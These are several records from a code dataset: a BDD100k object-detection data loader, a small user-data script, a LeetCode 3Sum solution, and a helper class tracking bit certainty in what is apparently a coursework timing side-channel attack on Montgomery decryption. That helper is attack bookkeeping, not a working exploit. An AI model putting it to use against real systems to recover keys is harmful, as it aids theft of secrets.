\"y1\": 386.403971,\n \"x2\": 596.679623,\n \"y2\": 413.362386\n },\n \"id\": 227\n },\n\n\"\"\"\nOBJ_CLASSES = [\t'__ignore__', \t# Object with __backgroun__ label will be ignored.\n\t\t\t\t'bus', 'traffic light', 'traffic sign', 'person', 'bike', \\\n\t\t\t\t'truck', 'motor', 'car', 'train', 'rider']\nOBJ_CLS_TO_IDX = { cls:(num-1) for num, cls in enumerate(OBJ_CLASSES)}\n\nOBJ_LOAD_CONDITIONS = {\n # 'train': {'hRng': (30, np.inf), 'xRng':(5, -5), 'yRng':(5, -5)},\n # 'train': {'hRng': (16, np.inf), 'xRng':(5, -5), 'yRng':(5, -5)},\n 'train': {'hRng': (16, np.inf), 'xRng':(0, 0), 'yRng':(0, 0)},\n 'Near': {'hRng': (115, np.inf), 'vRng': (0), 'xRng':(5, 635), 'yRng':(5, 475)}\n}\n\n\n#### Lane detection\n\"\"\"\n\tExample of annotation,\n\n\t\t{\n \"category\": \"lane\",\n \"attributes\": {\n \"laneDirection\": \"parallel\",\n \"laneStyle\": \"solid\",\n \"laneType\": \"road curb\"\n },\n \"manualShape\": true,\n \"manualAttributes\": true,\n \"poly2d\": [\n {\n \"vertices\": [\n [\n 305.268154,\n 449.929388\n ],\n [\n 209.389704,\n 468.664488\n ],\n [\n 106.898947,\n 468.664488\n ],\n [\n 0,\n 469.766552\n ]\n ],\n \"types\": \"CCCL\",\n \"closed\": false\n }\n ],\n \"id\": 236\n },\n\n\"\"\"\n\nLANE_CLASSES = [\t'__background__', \\\n\t\t\t\t\t'road curb', 'crosswalk', 'double white', 'double yellow', 'double other color', \\\n\t\t\t\t\t'single white', 'single yellow', 'single other color']\nLANE_CLS_TO_IDX = { cls:num for num, cls in enumerate(LANE_CLASSES)}\n\n\n#### General\nIMAGE_MEAN = (0.3465, 0.3219, 0.2842)\nIMAGE_STD = (0.2358, 0.2265, 0.2274)\n\nclassInfo = namedtuple('TASK', 'weather scene time detection lane')\nNUM_CLASSES = classInfo(len(WEATHER_CLASSES), len(SCENE_CLASSES), len(TIME_CLASSES), len(OBJ_CLASSES), len(LANE_CLASSES)) # Including background\n\n\n\n\nclass BDD100kDataset(data.Dataset):\n\t\"\"\"\n\n Arguments:\n root (string): filepath to VOCdevkit folder.\n image_set (string): imageset to use (eg. 'train', 'val', 'test')\n transform (callable, optional): transformation to perform on the\n input image\n target_transform (callable, optional): transformation to perform on the\n target `annotation`\n (eg: take in caption string, return tensor of word indices)\n dataset_name (string, optional): which dataset to load\n (default: 'KAIST')\n condition (string, optional): load condition\n (default: 'Reasonabel')\n \"\"\"\n\n\tdef __init__(self, phase, img_transform=None, mask_transform=None, co_transform=None):\n\n\t\tassert phase in ['train', 'val']\n\t\t\n\t\t# self.image_set = image_sets\n\t\tself.img_transform = img_transform\n\t\tself.mask_transform = mask_transform\n\t\tself.co_transform = co_transform\t\t\t\t\n\n\t\t# {SET_ID}/{VID_ID}/{IMG_ID}.jpg\n\t\tself._image_path = os.path.join(DB_ROOT, 'images', '100k', phase, '%s')\n\t\tself._label_path = os.path.join(DB_ROOT, 'labels', 'bdd100k_labels_images_%s.json' % phase)\n\t\t\n\t\tself._label = json.load(open(self._label_path, 'r'))\n\n\t\tself._box_parser = ParseBox( OBJ_LOAD_CONDITIONS['train'] )\n\t\tself._lane_parser = ParseLane()\n\n\t\t# self.ids = list()\n\t\t# for iset in image_sets:\n\t\t# \t# self.name += '_' + name + '-' + skip\n\t\t# \tfor line in open(os.path.join(self.root, 'ImageSets', iset)):\n\t\t# \t\tself.ids.append( tuple(line.strip().split('/')) )\n\n\tdef __getitem__(self, index):\n\t\t# image, lanemask, boxes, weather, scene, time, info = self.pull_item(index) \n\t\t# return image, lanemask, boxes, weather, scene, time, info, index\n\n\t\timage, loc_target, cls_target = self.pull_item(index) \n\t\treturn image, loc_target, cls_target\n\n\n\tdef __len__(self):\n\t\treturn len(self._label)\n\n\tdef pull_item(self, index):\n\t\tframe = self._label[index]\n\n\t\timage = Image.open( self._image_path % frame['name'] )\n\n\t\t# ## GT for auxiliary task: weather/scene/time classification\n\t\t# image_attr = frame['attributes']\n\t\t# # weather, scene, time = image_attr['weather'], image_attr['scene'], image_attr['timeofday']\n\t\t# weather = WEATHER_CLS_TO_IDX[ image_attr['weather'] ]\n\t\t# scene = SCENE_CLS_TO_IDX[ image_attr['scene'] ]\n\t\t# time = TIME_CLS_TO_IDX[ image_attr['timeofday'] ]\n\n\t\t# ## Info. \n\t\twidth, height = image.size\n\t\t# imageInfo = {'height': height, 'width': width, 'filename': frame['name']}\n\n\n\t\t## Parse annotations\n\t\tboxes, lanes = [], []\t\t\n\t\tfor label in frame['labels']:\n\t\t\tif label['category'] in OBJ_CLASSES:\n\t\t\t\tboxes.append( self._box_parser(label, width, height) )\n\t\t\telif label['category'] in LANE_CLASSES:\n\t\t\t\tpass\n\t\t\t\t# lanes.append( self._lane_parser(label) )\n\n\t\tlane = Image.new('I', image.size)\n\t\tboxes = np.concatenate(boxes, axis=0)\t \n\t\t\n\t\t## Apply transforms\n\t\tif self.img_transform is not None:\n\t\t\timage, _, _ = self.img_transform(image)\n\n\t\tif self.mask_transform is not None:\n\t\t\t_, lane, _ = self.mask_transform(lane)\n\n\t\tif self.co_transform is not None: \n\t\t\t# image, lane, boxes = self.co_transform(image, lane, boxes)\n\t\t\timage, _, loc_target, cls_target = self.co_transform(image, lane, boxes)\n\n\t\t# return image, lane.long(), boxes, weather, scene, time, imageInfo\t\t\n\t\treturn image, loc_target, cls_target.long()\n\n\ndef multitask_collate_fn(batch):\n\t\"\"\"Custom collate fn for dealing with batches of images that have a different targets/info, etc.\n \n Arguments:\n batch: (tuple) A tuple of tensor images and lists of annotations\n Return:\n A tuple containing:\n 1) (tensor) batch of images stacked on their 0 dim\n 2) (list of tensors) batch of target masks stacked on their 0 dim\n 3) (dictionary) batch of information for input images, e.g. height/width, scene class\n 4) (list of integers) batch of image indices\n\t\"\"\"\n\timage, mask, boxes, weather, scene, time, info, index = [], [], [], [], [], [], [], []\n\tfor sample in batch:\t\t\n\t\timage.append(sample[0])\n\t\tmask.append(sample[1]) \n\t\tboxes.append(sample[2]) \n\n\t\tweather.append(torch.ByteTensor( [sample[3]] ))\n\t\tscene.append(torch.ByteTensor( [sample[4]] ))\n\t\ttime.append(torch.ByteTensor( [sample[5]] ))\n\n\t\tinfo.append(sample[6]) \n\t\tindex.append(sample[7])\n\n\treturn torch.stack(image, 0), torch.stack(mask, 0), boxes, \\\n\t\ttorch.stack(weather, 0), torch.stack(scene, 0), torch.stack(time, 0), info, index\n\n\nclass ParseLane(object):\n\tpass\n\nclass ParseBox(object):\n\t\"\"\"\n class_to_ind (dict, optional): dictionary lookup of classnames -> indexes\n (default: alphabetic indexing of VOC's 20 classes)\n keep_difficult (bool, optional): keep difficult instances or not\n (default: False)\n height (int): height\n width (int): width\n\t\"\"\"\n\tdef __init__(self, condition=None, bbs_format='xyxy'):\n\n\t\tassert bbs_format in ['xyxy', 'xywh']\n\n\t\tself.bbs_format = bbs_format \n\t\tself.condition = condition \n\t\t# self.info_names = namedtuple('Info', 'video_name frame_idx ext image_size')\n\n\tdef __call__(self, obj, img_width, img_height):\n\t\t\"\"\"\n\t\tArguments:\n\t\t target (annotation) : the target annotation to be made usable\n\t\t will be an ET.Element\n\t\tReturns:\n\t\t a list containing lists of bounding boxes [bbox coords, class name]\n\t\t\"\"\"\n\n\t\tif not 'box2d' in obj or obj['box2d'] is None:\t\t\t\n\t\t\traise RuntimeError('Object must have box2d attribute. but, {:s}'.format(str(obj)))\n\n\t\tcond = self.condition\n\n\t\t## Load\n\t\tbox = obj['box2d']\n\t\tif box is not None:\n\t\t\tbox = np.array([ box['x1'], box['y1'], box['x2'], box['y2'], OBJ_CLS_TO_IDX[ obj['category'] ] ], dtype=np.float)\n\t\telse:\n\t\t\tbox = np.zeros(5, dtype=np.float)\t\t# Dummy box because 'torch.stack' does not work for empty array\n\t\t\tbox[-1] = -1\n\n\t\t## Check condition\n\t\t# if obj['attributes']['occluded'] or obj['attributes']['truncated']:\n\t\t# if obj['attributes']['truncated']:\n\t\t# \tbox[-1] = OBJ_CLS_TO_IDX['__ignore__']\n\n\t\t# Too small/big, or on boundary\n\t\tx, y, w, h = box[0], box[1], box[2]-box[0], box[3]-box[1]\n\n\t\tif ( obj['category'] not in ['traffic sign', 'traffic light'] ) and \\\n\t\t\t(h < cond['hRng'][0] or h > cond['hRng'][1] \\\n\t\t\tor x < cond['xRng'][0] or x+w > img_width+cond['xRng'][1] \\\n\t\t\tor y < cond['yRng'][0] or y+h > img_height+cond['yRng'][1]):\n\t\t\tbox[-1] = OBJ_CLS_TO_IDX['__ignore__']\n\n\t\tbox[0] /= img_width\n\t\tbox[2] /= img_width\n\t\tbox[1] /= img_height\n\t\tbox[3] /= img_height\n\n\t\treturn np.reshape(box, (1,5))\n\n\n# def draw_boxes(ax, im, boxes, thres=0.9, filename=None):\n\n# \tax.imshow(im.astype(np.uint8))\n# \tcls_color = ['gray', 'yellow','cyan','red','green','blue','white', 'yellow','cyan','red','green','blue','white']\n\n# \tinds = np.where(boxes[:,4]>thres)[0]\n# \tif len(inds) == 0:\n# \t\treturn\n\n# \tfor box in boxes:\t\t\n# \t\tlabel = box[5] if len(box) > 5 else box[4]\t\t# len(box) > 5, then box is prediction\n# \t\tscore = box[4] if len(box) > 5 else None\n\n# \t\tlabel = int(label)\n\t\t\n# \t\tax.add_patch(\n# \t\t plt.Rectangle((box[0], box[1]),\n# \t\t box[2] - box[0],\n# \t\t box[3] - box[1], fill=False,\n# \t\t edgecolor=cls_color[label], linewidth=2.5)\n# \t\t )\n# \t\tif label:\n# \t\t\tax.text(box[0], box[1] - 2,\n# \t\t \t '{:s} {:.3f}'.format( OBJ_CLASSES[label], score) if score else '{:s}'.format(OBJ_CLASSES[label]),\n# \t\t \tbbox=dict(facecolor='blue', alpha=0.5),\n# \t\t \tfontsize=14, color='white')\n\n# \tplt.axis('off')\n# \tplt.tight_layout()\n\n# \tif filename is not None:\n# \t\tplt.savefig(filename)\n\ndef draw_boxes(ax, im, boxes, labels, scores, thres=0.9, filename=None):\n\n\tax.imshow(im.astype(np.uint8))\n\tcls_color = ['gray', 'yellow','cyan','red','green','blue','white', 'yellow','cyan','red','green','blue','white']\n\n\t# inds = np.where(boxes[:,4]>thres)[0]\n\t# if len(inds) == 0:\n\t# \treturn\n\n\tfor box, label, score in zip(boxes, labels, scores):\n\n\t\t# label = box[5] if len(box) > 5 else box[4]\t\t# len(box) > 5, then box is prediction\n\t\t# score = box[4] if len(box) > 5 else None\n\n\t\tif score < thres:\n\t\t\tcontinue\n\t\t# label = int(label)\n\t\t\n\t\tax.add_patch(\n\t\t plt.Rectangle((box[0], box[1]),\n\t\t box[2] - box[0],\n\t\t box[3] - box[1], fill=False,\n\t\t edgecolor=cls_color[label], linewidth=2.5)\n\t\t )\n\t\tif label:\n\t\t\tax.text(box[0], box[1] - 2,\n\t\t \t '{:s} {:.2f}'.format( OBJ_CLASSES[label], score) if score else '{:s}'.format(OBJ_CLASSES[label]),\n\t\t \tbbox=dict(facecolor='blue', alpha=0.5),\n\t\t \tfontsize=10, color='white')\n\n\tplt.axis('off')\n\tplt.tight_layout()\n\n\tif filename is not None:\n\t\tplt.savefig(filename)\n\n\n\nif __name__ == '__main__':\n\n\timport matplotlib\n\tmatplotlib.use('Agg')\n\timport matplotlib.pyplot as plt\n\n\tfrom torchcv.datasets import UnNormalize, Compose, ToTensor, ToPILImage, Normalize, Resize, RandomHorizontalFlip, RandomResizedCrop, ColorJitter\n\tfrom torchcv.models.ssd import SSD300, SSD512, SSDBoxCoder\n\n\timg_size = 512\n\tnet = SSD512(num_classes=11)\n\tpreprocess = Compose([ ColorJitter(0.5, 0.5, 0.3)])\n\ttransforms = Compose([ RandomHorizontalFlip(), \\\n\t RandomResizedCrop( (img_size,img_size), scale=(0.5, 2.0), ratio=(0.8, 1.2)), \\\n\t ToTensor(), \\\n\t Normalize((0.3465,0.3219,0.2842), (0.2358,0.2265,0.2274)), \\\n\t SSDBoxCoder(net)\n\t ])\n\n\ttrainset = BDD100kDataset('train', img_transform=preprocess, co_transform=transforms)\n\n\ttrainloader = torch.utils.data.DataLoader(trainset, batch_size=16, shuffle=True, num_workers=32)\n\n\tori_size = (720, 1280)\n\ttensor2image = Compose( [UnNormalize((0.3465,0.3219,0.2842), (0.2358,0.2265,0.2274)), ToPILImage('RGB'), Resize(ori_size)])\n\tcoder = SSDBoxCoder(net)\n\n\n\tfig, ax = plt.subplots(figsize=(12,7))\n\n\t\n\tstd_loc = torch.zeros( (0, 4) )\n\t# for ii, blob in enumerate(trainset):\n\tfor ii, blob in enumerate(trainloader):\n\t\t# print('ii: {}'.format(ii))\n\t\t\n\t\t# ax.cla()\n\n\t\timage, loc_gt, cls_gt = blob\n\n\t\tstd_loc = torch.cat( (std_loc, loc_gt[ cls_gt > 0 ].view(-1,4)) )\n\t\t# std_loc[ii] = (loc_gt * loc_gt ).mean(dim=0).mean(dim=0)\n\n\t\tif ii and ii % 10 == 0:\n\t\t\tprint('ii: {} / {}'.format(ii, len(trainloader)))\n\n\n\t\tif ii and ii % 1000 == 0:\n\t\t\tpdb.set_trace()\n\n\t\t# # sz = image.size(1)\n\n\t\t# cls_pred_gt = torch.zeros( (cls_gt.size(0), 11), dtype=torch.uint8 )\n\t\t# cls_pred_gt.scatter_(1, cls_gt.unsqueeze(1), 1)\n\t\t# boxes, labels, scores = coder.decode(loc_gt, cls_pred_gt)\n\n\t\t# # boxes *= sz\n\t\t# boxes[:,(0,2)] *= ori_size[1]\n\t\t# boxes[:,(1,3)] *= ori_size[0]\n\n\t\t# draw_boxes( ax, np.array( tensor2image(image.clone())[0] ), boxes, labels+1, scores )\n\n\t\t# plt.savefig('test.jpg')\n\n\tpdb.set_trace()\n\t\t\t\t\n\tstd_loc.mean(dim=0) - mean_loc*mean_loc\n\n\t\n\n\t# # ### Load all boxes, cluster boxes to determine prior boxes\n\t# # with open( 'BDD100k/labels/bdd100k_labels_images_train.json', 'r') as f:\n\t# # \tframes = json.load(f)\n\n\t# # boxes = [ [] for _ in range(len(OBJ_CLASSES)-1) ]\n\t\n\t# # for frame in frames:\n\t# # \tfor label in frame['labels']:\n\t# # \t\tif label['category'] in OBJ_CLASSES:\n\t# # \t\t\tbox = label['box2d']\n\t# # \t\t\tcls = OBJ_CLS_TO_IDX[ label['category'] ]\n\t# # \t\t\tbb = np.array( [[ box['x1'], box['y1'], box['x2'], box['y2'] ]] )\n\t# # \t\t\tboxes[cls-1].append( bb )\n\n\t# # from sklearn.cluster import KMeans\n\t# # # kmeans = KMeans(init='k-means++', n_clusters=9, random_state=170)\n\t# # kmeans = KMeans(init='k-means++', n_clusters=12, random_state=170)\n\n\t# # ## Select ratios\t\n\t# # for ii, bbs in enumerate(boxes):\n\t# # \tbbs = np.concatenate( bbs, axis=0 )\n\t# # \tbbs[:,(2,3)] = bbs[:,(2,3)] - bbs[:,(0,1)]\n\n\t# # \tplt.clf()\n\t# # \tplt.plot( bbs[:,2], bbs[:,3], 'r.' )\n\t# # \tplt.savefig('analysis/wh-distribution_{:s}.png'.format(OBJ_CLASSES[ii+1].replace(' ', '_')))\n\n\t# # \tplt.clf()\n\t# # \tnums, ctrs, _ = plt.hist( bbs[:,2] / bbs[:,3], np.linspace(0, 4, 50) )\n\t# # \tplt.savefig('analysis/ratio-histogram_{:s}.png'.format(OBJ_CLASSES[ii+1].replace(' ', '_')))\n\n\t# # \tprint( 'CLS: {:s}, RATIO (>20\\%): {:}'.format(OBJ_CLASSES[ii+1], ctrs[ list(nums / sum(nums) > 0.05) + [False] ]) )\n\n\t# # \t# area_norm = np.sqrt( bbs[:,2] * bbs[:,3] / 100 )\n\t# # \t# area_norm = np.power( 2, np.floor(np.log(np.sqrt(bbs[:,2]*bbs[:,3]))/np.log(2) + 0.5) )\n\t# # \tarea_norm = np.power( 2, np.clip( np.floor(np.log(np.sqrt(bbs[:,2]*bbs[:,3]))/np.log(2) + 0.5), a_min=3, a_max=6 ) )\n\t# # \tlog_width = np.log( bbs[:,2] / area_norm )\n\t# # \tlog_height = np.log( bbs[:,3] / area_norm )\n\n\t\t\n\t# # \ty_pred = kmeans.fit_predict( np.stack([log_width, log_height], axis=1) )\n\t# # \t# plt.clf()\n\t# # \t# plt.scatter(log_width, log_height, c=y_pred, cmap=plt.cm.Paired)\n\t# # \t# # plt.scatter( bbs[:,2], bbs[:,3], c=y_pred, cmap=plt.cm.Paired)\n\t\t\n\t# # \t# for cc, step in enumerate([8, 16, 32, 64]):\n\t# # \t# \tcenters = np.exp( kmeans.cluster_centers_.copy() ) * step\n\t# # \t# \tplt.scatter( centers[:,0], centers[:,1], marker='x', s=169, c=cc*np.ones(centers.shape[0]), cmap=plt.cm.Set1, zorder=10)\n\t# # \t# # plt.scatter( kmeans.cluster_centers_[:,0], kmeans.cluster_centers_[:,1], marker='x', s=169, color='w', zorder=10 )\n\t# # \t# plt.ylabel('height')\n\t# # \t# plt.xlabel('width')\n\t# # \t# plt.savefig('analysis/kmeans-log-dist_{:s}.png'.format(OBJ_CLASSES[ii+1]))\n\n\t# # \tprint( 'cluster centers: \\n' )\n\t# # \tfor jj, prior in enumerate( np.exp( kmeans.cluster_centers_.copy() ) ):\n\t# # \t\tstart = '[' if jj == 0 else ' '\n\t# # \t\tend = ']' if jj == kmeans.cluster_centers_.shape[0] else ' '\n\t# # \t\tprint('{:s}[ 0., 0., {:.4f}, {:.4f} ]{:}'.format(start, prior[0], prior[1], end))\n\n\n\t# # \tplt.clf()\n\t# # \t# plt.scatter(log_width, log_height, c=y_pred, cmap=plt.cm.Paired)\n\t# # \tplt.scatter( bbs[:,2], bbs[:,3], c=y_pred, cmap=plt.cm.Paired)\n\t\t\n\t# # \t# for cc, step in enumerate([8, 16, 32, 64]):\n\t# # \tclrs = np.zeros((0), dtype=np.int32)\n\t# # \tcenters = np.zeros((0,2), dtype=np.float64)\n\t# # \tfor cc, step in enumerate([8, 32, 48, 64, 80, 96]):\n\t# # \t\tpriors = np.exp( kmeans.cluster_centers_.copy() ) * step\n\t# # \t\tcenters = np.concatenate( (centers, priors), axis=0 )\n\t# # \t\tclrs = np.concatenate( (clrs, cc*np.ones(priors.shape[0], dtype=np.int32)), axis=0 )\n\n\t# # \tplt.scatter( centers[:,0], centers[:,1], marker='x', s=169, c=clrs, cmap=plt.cm.Set1, zorder=20)\n\t# # \t# plt.scatter( centers[:,0], centers[:,1], marker='x', s=169, c=(cc)*np.ones(centers.shape[0], dtype=np.int32), cmap=plt.cm.Set1, zorder=cc)\n\t# # \t# plt.scatter( kmeans.cluster_centers_[:,0], kmeans.cluster_centers_[:,1], marker='x', s=169, color='w', zorder=10 )\n\t# # \tplt.ylabel('height')\n\t# # \tplt.xlabel('width')\n\t# # \tplt.savefig('analysis/kmeans-real-scale-dist_{:s}.png'.format(OBJ_CLASSES[ii+1]))\n\n\t# # \t# pdb.set_trace()\n\n\n\t# # \t# ## Prepare prior boxes\n\t# # \t# priorboxes = []\n\t# # \t# image_size = [720, 1280]\n\t# # \t# steps = [8, 16, 32, 64, 64]\n\t# # \t# ratios = ctrs[ list(nums / sum(nums) > 0.05) + [False] ]\n\t# # \t# for ii, ss in enumerate(steps): \n\t# # \t# \tf_k_h = image_size[0] / ss\n\t# # \t# \tf_k_w = image_size[1] / ss\n\n\t# # \t# \t# unit center x,y\n\t# # \t# \t# cx = (ss*0.5) / f_k_w\n\t# # \t# \t# cy = (ss*0.5) / f_k_h\n\t# # \t# \tbox = np.zeros( (1,4) )\n\n\t# # \t# \tfor ww, hh in [ (f_k_w, f_k_w), (f_k_w, f_k_h), (f_k_h, f_k_h)]:\n\t# # \t# \t\tbox[0,2] = ww\n\t# # \t# \t\tbox[0,3] = hh\n\t# # \t# \t\tpriorboxes.append(box.copy())\n\n\t# # \t# \t\tfor rr in ratios:\n\t# # \t# \t\t\tbox[0,2] = ww * np.sqrt(rr)\n\t# # \t# \t\t\tbox[0,3] = hh / np.sqrt(rr)\n\t# # \t# \t\t\tpriorboxes.append(box.copy())\n\n\t# # \t# \t\t\tbox[0,2] = ww / np.sqrt(rr)\n\t# # \t# \t\t\tbox[0,3] = hh * np.sqrt(rr)\n\t# # \t# \t\t\tpriorboxes.append(box.copy())\n\n\t# # \t# pdb.set_trace()\n\n\t\n\t# # pdb.set_trace()\n\n \n\t# from transforms import UnNormalize, Compose, ToPILImage, ColorJitter, RandomHorizontalFlip, ToTensor, Normalize, RandomResizedCrop\n\n\t\n\n\t# tensor2image = Compose( [UnNormalize(IMAGE_MEAN, IMAGE_STD), ToPILImage('RGB')])\n\t# tensor2target = ToPILImage()\n\n\t# dataset = BDD100kDataset( 'val',\n\t# img_transform=Compose([ColorJitter(0.5, 0.5, 0.3)]),\n\t# co_transform=Compose([ \\\n\t# RandomHorizontalFlip(), \\\n\t# RandomResizedCrop((540,960), scale=(0.5, 2.0), ratio=(0.8, 1.2)), \\\n\t# ToTensor(), \\\n\t# Normalize(IMAGE_MEAN, IMAGE_STD)]))\n\n\t# fig, ax = plt.subplots(figsize=(12, 12))\n\n\t# for ii in range(len(dataset)): \n\t# \t# image, lane, boxes, weather, scene, time, info, index = dataset[ii]\n\n\t# \tpdb.set_trace()\n\n\t# \timage, lane, boxes, weather, scene, time, info, index = multitask_collate_fn( [dataset[ii]] )\n\n\t# \timage = np.array( tensor2image( image )[0] ) \n\t# \tlane = np.array( tensor2target( lane.byte() )[0] )\n\t# \tboxes = boxes.numpy().copy()\n\n\t# \theight, width = image.shape[:2]\n\n\t# \tif len(boxes):\n\t# \t\tax.cla()\n\n\t# \t\tprint('name: {}, image size: {}x{}x{}'.format(info['filename'], *image.shape)) \n\t# \t\tboxes[:,(0,2)] *= width \n\t# \t\tboxes[:,(1,3)] *= height \n\t# \t\t# boxes[:,4] = 1.0\t\t\t\n\t# \t\tdraw_boxes(ax, image, boxes, filename=os.path.basename(info['filename']))\n\n\t# \tif ii and ii % 20 == 0 :\n\t# \t pdb.set_trace()\n\n \n","sub_path":"torchcv/datasets/.ipynb_checkpoints/bdd100k-checkpoint.py","file_name":"bdd100k-checkpoint.py","file_ext":"py","file_size_in_byte":21061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"253330102","text":"#!/usr/bin/env python3\n\nimport json \nimport io\nfrom users import userID\n\nfilename = 'user/userData.json'\n\ndef getUsers(userInput, iD):\n \"\"\"\n\tuserInput = [firstname, lastname, username, password]\n \"\"\"\n \n user = {} #user_data\n userValues = {} \n prompt = [\"username\",\"car\", \"pet\"]\n \n for row in prompt:\n userValues[row] = \"\"\n \n #get username and prompt user for their car and pet\n userValues[\"username\"] = userInput[2]\n userValues[\"car\"] = input(\"What is your car model: \")\n userValues[\"pet\"] = input(\"What pet do you own: \")\n user[str(iD)] = userValues\n\n print(user)\n\n #write to JSON file\n with io.open(filename, 'a') as userData:\n data = json.dumps(user, indent = 4, sort_keys = True, \n separators = (',', ': '), ensure_ascii = False)\n userData.write(data) \n \n\nif __name__ == \"__main__\":\n userInput = ['boitumelo', 'phetla', 'Bison', 'tumi']\n getUsers(userInput, userID)\nelse:\n pass ","sub_path":"Book_Code/userdata.py","file_name":"userdata.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"618579373","text":"#!/usr/bin/env python\n\nfrom montgomery import mpz_size\n\n'''\nError Class allows for attack certainty to be checked.\n'''\nclass Errors:\n\n MARGIN = 0\n BITS = 0\n BitCertainty = []\n CipherithRound = []\n\n # Errors\n ErrorUncertain = False\n ErrorRevert = False\n ErrorResample = False\n ErrorIncreaseSample = False\n\n Resampled = False\n FailedDecryption = False\n\n RevertToBitX = 0\n ErrorCount = 0\n FailedDecryptionNum = 0\n\n\n # Go back to first unsure bit and resample or something else. Maybe don't try inverting bit\n\n def __init__(self, n):\n self.MARGIN = 4\n self.BITS=mpz_size(n) * 4\n self.BitCertainty=[True] * self.BITS\n self.CipherithRound = [[]] * self.BITS\n\n def Update(self, diffA, diffB, ithBit, c0, c1):\n self.UpdateBitCertainty(diffA, diffB, ithBit, c0, c1)\n\n if self.BitCertainty[ithBit] is False :\n self.ErrorUncertain = True\n else:\n self.ErrorUncertain = False\n\n if self.Revert(ithBit) and self.ErrorUncertain:\n self.ErrorRevert = True\n else :\n self.ErrorRevert = False\n\n if self.Resample() :\n self.ErrorResample = True\n else :\n self.ErrorResample = False\n\n if self.IncreaseSample() :\n self.ErrorIncreaseSample = True\n else :\n self.ErrorIncreaseSample = False\n\n if self.FailedDecryption and ithBit is 1:\n self.ErrorIncreaseSample = True\n self.ErrorResample = True\n self.FailedDecryption = False\n else:\n self.FailedDecryption = False\n\n\n\n def UpdateBitCertainty(self, diffA, diffB, ithBit, c0, c1):\n if self.differenceMargin(diffA, diffB):\n self.BitCertainty[ithBit] = True\n elif self.differenceMargin(diffB, diffA):\n self.BitCertainty[ithBit] = True\n else:\n self.ErrorCount += 1\n # Difference not high enough. Highlight uncertainty at index i and store ciphertexts\n if diffA > diffB :\n self.BitCertainty[ithBit] = False\n self.CipherithRound[ithBit] = c0\n else :\n self.BitCertainty[ithBit] = False\n self.CipherithRound[ithBit] = c1\n\n # If there are two uncertain bits that follow an uncertain bit\n def Revert(self, ithBit):\n uncertain_bits = []\n for i in range(ithBit, ithBit - 10, -1):\n if i < 0 :\n break\n if self.BitCertainty[i] is False :\n uncertain_bits.append(i)\n if len(uncertain_bits) > 3:\n for bit in uncertain_bits :\n self.BitCertainty[bit] = True\n self.RevertToBitX = uncertain_bits[-1]\n return True\n return False\n\n def Resample(self):\n if self.ErrorCount > 6:\n self.ErrorCount = 0\n self.Resampled = True\n self.ResetBitCertainty()\n return True\n else :\n return False\n\n def IncreaseSample(self):\n if self.ErrorResample and self.Resampled :\n self.ResetBitCertainty()\n return True\n else :\n return False\n\n def differenceMargin(self, diffA, diffB):\n if diffA - diffB > self.MARGIN:\n return True\n else:\n return False\n\n def ResetBitCertainty(self):\n for i in range(0, len(self.BitCertainty)):\n self.BitCertainty[i] = True","sub_path":"17581/time/error.py","file_name":"error.py","file_ext":"py","file_size_in_byte":3497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"547992800","text":"# 15-3Sum_MEDIUM.py\n\n# https://leetcode.com/problems/3sum/\n\n# Given an array nums of n integers, are there elements a, b, c in nums such that a + b + c = 0? Find all unique triplets in the array which gives the sum of zero.\n\n# Note:\n\n# The solution set must not contain duplicate triplets.\n\n# Example:\n\n# Given array nums = [-1, 0, 1, 2, -1, -4],\n\n# A solution set is:\n# [\n# [-1, 0, 1],\n# [-1, -1, 2]\n# ]\n\n# Start: 4:04p End: 4:45p\n\n# Assumptions\n# all are integers\n\n# Approach\n# 1. brute force: 3 pointers. Check every combination. O(n^3) time complexity\n# 2. are there any duplicate subproblems? can we use dynamic programming\n# somehow to help? I can't think of any...\n# We may have to check all combinations\n# When we find a combination that works, sort it then add as a tuple to set()\n# that way we avoid duplicates\n# Can we avoid checking duplicates in the first place? I think it's\n# unavoidable. WE have to check all combinations and checking if the sum\n# is 0 is constant time just like a lookup in the set would be.\n\n# Maybe we can stop after finding a triplet with the first two digits and\n# immediately increment since we would only find a duplicate afterward\n# this is still O(N^3)\n\n# This solution exceeds the time limit\n\n# 3. Sort first, then iterate through only negative integers and then with both\n# a pointer just after and from the end of the array try to find two other\n# numbers that would make the total 0.\n# O(NlogN) for the sort, then O(N^2) for the iteration (item under\n# investigation, and then two pointers from front and back)\n# see https://leetcode.com/problems/3sum/discuss/232712/Best-Python-Solution-(Explained)\n\n# Edge Cases\n# len(nums) <= 2: return []\n\n\nclass Solution:\n def threeSum(self, nums: List[int]) -> List[List[int]]:\n\n if len(nums) <= 2:\n return []\n\n # Brute Force\n # answers = set()\n\n # for i in range(len(nums)):\n # for j in range(i + 1, len(nums)):\n # for k in range(j + 1, len(nums)):\n # candidate = sorted([nums[i], nums[j], nums[k]])\n # if sum(candidate) == 0:\n # answers.add(tuple(candidate))\n\n # return list(answers)\n\n nums.sort()\n answers = set()\n\n for i in range(len(nums)):\n # only check positive\n if nums[i] > 0:\n break\n left = i + 1\n right = len(nums) - 1\n\n while left < right:\n candidate = [nums[i], nums[left], nums[right]]\n\n if sum(candidate) == 0:\n answers.add(tuple(candidate))\n left += 1\n right -= 1\n elif sum(candidate) > 0:\n right -= 1\n elif sum(candidate) < 0:\n left += 1\n\n return list(answers)\n\n\n\n\n# Testcases\n# [-1,0,1,2,-1,-4]\n# [1,2]\n# []\n# [1]\n# [1,2,3]\n# [1,2,3,-3,0]\n# [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n# Time Limit Exceeded w/brute force:\n# [13,-5,3,3,-1,13,3,1,-9,-4,9,12,6,-9,-6,-12,-8,3,12,14,4,-15,2,-11,4,-12,10,9,-6,-3,-8,14,7,3,2,-8,-7,-10,8,-8,-7,-6,-11,6,-7,-2,9,-8,8,-2,13,-10,-2,0,-14,-13,-4,11,3,-3,-7,3,-4,8,13,13,-15,-9,10,0,-2,-12,1,2,9,1,8,-4,8,-7,9,7,-2,-15,14,0,-13,-13,-12,-2,-1,-11,8,10,12,6,8,4,12,3,11,-12,-2,-3,5,-15,6,-10,-4,-1,-1,-10,13]\n","sub_path":"leetcode/15-3Sum_MEDIUM.py","file_name":"15-3Sum_MEDIUM.py","file_ext":"py","file_size_in_byte":3330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
